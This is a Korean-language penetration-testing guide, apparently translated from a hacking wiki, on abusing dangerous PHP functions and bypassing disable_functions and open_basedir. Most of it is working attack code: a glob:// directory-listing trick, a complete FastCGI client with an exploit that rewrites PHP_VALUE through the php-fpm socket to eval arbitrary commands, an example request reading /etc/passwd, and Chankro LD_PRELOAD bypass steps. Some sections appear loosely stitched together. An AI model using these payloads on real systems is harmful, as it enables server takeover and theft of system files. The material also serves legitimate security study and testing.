mail / mb_send_mail - 이 함수는 메일을 보내는 데 사용되지만 $options 매개변수 내에 임의의 명령을 삽입하는 데 악용될 수 있습니다. 이는 php mail 함수가 일반적으로 시스템 내부의 sendmail 바이너리를 호출하고 추가 옵션을 넣을 수 있기 때문입니다. 그러나 실행된 명령의 출력을 볼 수 없으므로 출력을 파일에 작성하는 쉘 스크립트를 만들고, 해당 스크립트를 mail을 사용하여 실행하고 출력을 인쇄하는 것이 좋습니다:
dl - 이 함수는 PHP 확장 프로그램을 동적으로 로드하는 데 사용할 수 있습니다. 이 함수는 항상 존재하는 것은 아니므로 악용하기 전에 사용 가능한지 확인해야 합니다. 이 페이지를 읽어 이 함수를 악용하는 방법을 알아보세요.
PHP 코드 실행
eval 이외에도 PHP 코드를 실행하는 다른 방법이 있습니다: include/require은 로컬 파일 포함 및 원격 파일 포함 취약점 형태로 원격 코드 실행에 사용될 수 있습니다.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
비활성화된 함수는 PHP의 .ini 파일에서 구성할 수 있는 설정으로, 지정된 함수의 사용을 금지할 수 있습니다. Open basedir는 PHP에게 액세스할 수 있는 폴더를 지정하는 설정입니다.
PHP 설정은 /etc/php7/conf.d 경로나 유사한 경로에 구성됩니다.
두 구성은 **phpinfo()**의 출력에서 확인할 수 있습니다:
open_basedir Bypass
open_basedir는 PHP가 액세스할 수 있는 폴더를 구성하며, 이러한 폴더 외부의 파일을 쓰거나 읽거나 실행할 수 없지만 다른 디렉토리를 나열할 수도 없습니다.
그러나 어떤 방법으로든 임의의 PHP 코드를 실행할 수 있다면, 다음 코드 조각을 시도하여 제한을 우회할 수 있습니다.
glob:// 우회를 사용한 디렉토리 목록 나열
첫 번째 예제에서는 glob:// 프로토콜과 일부 경로 우회를 사용합니다:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
참고1: 경로에 /e??/*를 사용하여 /etc/* 및 다른 폴더를 나열할 수도 있습니다.
참고2: 코드 일부가 중복된 것처럼 보이지만, 실제로는 필요합니다!
참고3: 이 예제는 폴더를 나열하는 데만 유용합니다
FastCGI를 악용한 완전한 open_basedir 우회
PHP-FPM 및 FastCGI에 대해 더 알고 싶다면이 페이지의 첫 번째 섹션을 읽어보세요.
**php-fpm**이 구성되어 있다면, open_basedir를 완전히 우회할 수 있습니다:
먼저 해야 할 일은 php-fpm의 유닉스 소켓이 어디에 있는지 찾는 것입니다. 보통 /var/run 아래에 있으므로 이전 코드를 사용하여 디렉토리를 나열하고 찾을 수 있습니다.
여기서 코드를 가져왔습니다.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
이 스크립트는 일반적으로 /var/run에 위치한 php-fpm의 unix 소켓과 통신하여 임의의 코드를 실행합니다. open_basedir 설정은 보낸 PHP_VALUE 속성에 의해 덮어씌워집니다.
eval이 cmd 매개변수 내에서 보낸 PHP 코드를 실행하는 방법에 주목하세요.
또한 주석 처리된 324번째 줄에 주목하세요. 해당 줄의 주석을 해제하면 페이로드가 자동으로 제공된 URL에 연결되어 포함된 PHP 코드를 실행합니다.
단순히 http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');에 액세스하여 /etc/passwd 파일의 내용을 얻을 수 있습니다.
open_basedir 구성을 덮어쓴 것과 마찬가지로 disable_functions를 덮어쓸 수 있다고 생각할 수 있습니다. 시도해보세요, 하지만 작동하지 않을 것입니다. disable_functions는 .ini php 구성 파일에서만 구성할 수 있으며 PHP_VALUE를 사용하여 수행하는 변경 사항은 이 특정 설정에 대해 효과적이지 않을 것입니다.
disable_functions 우회
머신 내에서 PHP 코드를 실행하는 경우 일반적으로 임의의 시스템 명령을 실행하려고 할 것입니다. 이러한 상황에서는 대부분 또는 모든 PHP 함수가 disable_functions에서 비활성화되어 있는 것을 발견하는 것이 일반적입니다.
그래서, 이 제한을 우회하는 방법을 살펴보겠습니다 (우회할 수 있다면)
이 구성 오용을 악용하기 위해 Chankro를 사용할 수 있습니다. 이 도구는 취약한 서버에 업로드하고 실행해야 하는 PHP exploit을 생성할 것입니다 (웹을 통해 액세스).
Chankro는 희생자의 디스크 안에 실행하려는 라이브러리와 역술을 작성하고 LD_PRELOAD 트릭 + PHP mail() 함수를 사용하여 역술을 실행할 것입니다.
Chankro를 사용하려면 disable_functions 목록 안에 mail 및 putenv가 포함되어서는 안 됩니다.
다음 예제에서는 arch 64용 chankro exploit을 생성하는 방법을 볼 수 있습니다. 이 exploit은 whoami를 실행하고 결과를 _/tmp/chankro_shell.out_에 저장하며, chankro는 라이브러리와 payload를 _/tmp_에 작성하고 최종 exploit은 bicho.php로 호출될 것입니다 (희생자 서버에 업로드해야 하는 파일):
#!/bin/shwhoami >/tmp/chankro_shell.out
다음은 PHP에서 자주 사용되는 함수 중 일부입니다.
disable_functions
이 함수는 PHP에서 사용할 수 없도록 설정된 함수의 목록을 반환합니다. 이 목록에 있는 함수들은 실행되지 않습니다.
open_basedir bypass
open_basedir 제약을 우회하는 방법 중 하나는 cURL을 사용하여 외부 파일을 다운로드하고 실행하는 것입니다. 이를 통해 제한된 디렉토리 경로를 우회할 수 있습니다.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
정보 노출
대부분의 이 함수 호출은 싱크가 아닙니다. 대신 반환된 데이터 중 하나라도 공격자가 볼 수 있다면 취약점일 수 있습니다. 공격자가 phpinfo()를 볼 수 있다면 확실히 취약점입니다.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
파일 시스템 함수
RATS에 따르면 PHP의 모든 파일 시스템 함수는 나쁘다고 합니다. 이 중 일부는 공격자에게 그다지 유용해 보이지 않을 수 있습니다. 다른 함수들은 생각보다 더 유용할 수 있습니다. 예를 들어, allow_url_fopen=On이면 URL을 파일 경로로 사용할 수 있으므로 copy($_GET['s'], $_GET['d']); 호출을 사용하여 PHP 스크립트를 시스템의 어디에나 업로드할 수 있습니다. 또한 GET을 통해 요청을 보낼 수 있는 사이트가 취약하다면 이러한 파일 시스템 함수를 통해 다른 호스트로 공격을 전달할 수 있습니다.
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir